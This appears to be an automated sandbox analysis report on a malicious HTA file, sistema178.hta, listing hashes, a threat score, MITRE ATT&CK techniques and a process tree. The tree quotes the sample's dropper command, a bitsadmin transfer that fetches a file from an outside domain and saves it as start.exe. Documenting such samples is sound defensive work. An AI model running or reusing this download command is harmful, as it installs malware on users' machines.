c65b8133b1bcfd2ac58e8775721e7410bde17cd1557a2dc5bc84b6aea2a22fda

Analysis

max time kernel
127s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
07/03/2022, 14:30

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General

Target
sistema178.hta
Size 10KB
Sample220307-rt5nzaabgp
SHA256 ba7b08cd0ca900a21f787cc9b94ce236d54fdef8706cdef4c91776b21bd15d25
MD5 e24228cb386cbb27f15992559d6dc7b8
SHA1 6f7c4889424148b2e81809c5bb98ccaef7d08362
SHA512 a7bc9936226060a54d2c6bc4f1053f488d413caed38f8286a41a582734423f6282115eadb635e88234d11611bfdb7d69c78c166930b7edde5fcff2f275c8e2fe
MD5 SHA1 SHA512

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3636	3224	WerFault.exe	49

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
3496	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3224 wrote to memory of 3496	3224	mshta.exe	83
PID 3224 wrote to memory of 3496	3224	mshta.exe	83
PID 3224 wrote to memory of 3496	3224	mshta.exe	83

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sistema178.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3224
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://customline.top/forum.txt C:\Users\Admin\AppData\Roaming\start.exe
  2⤵
  - Download via BitsAdmin
  PID:3496
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3224 -s 1480
  2⤵
  - Program crash
  PID:3636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3224 -ip 3224
1⤵
PID:2188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads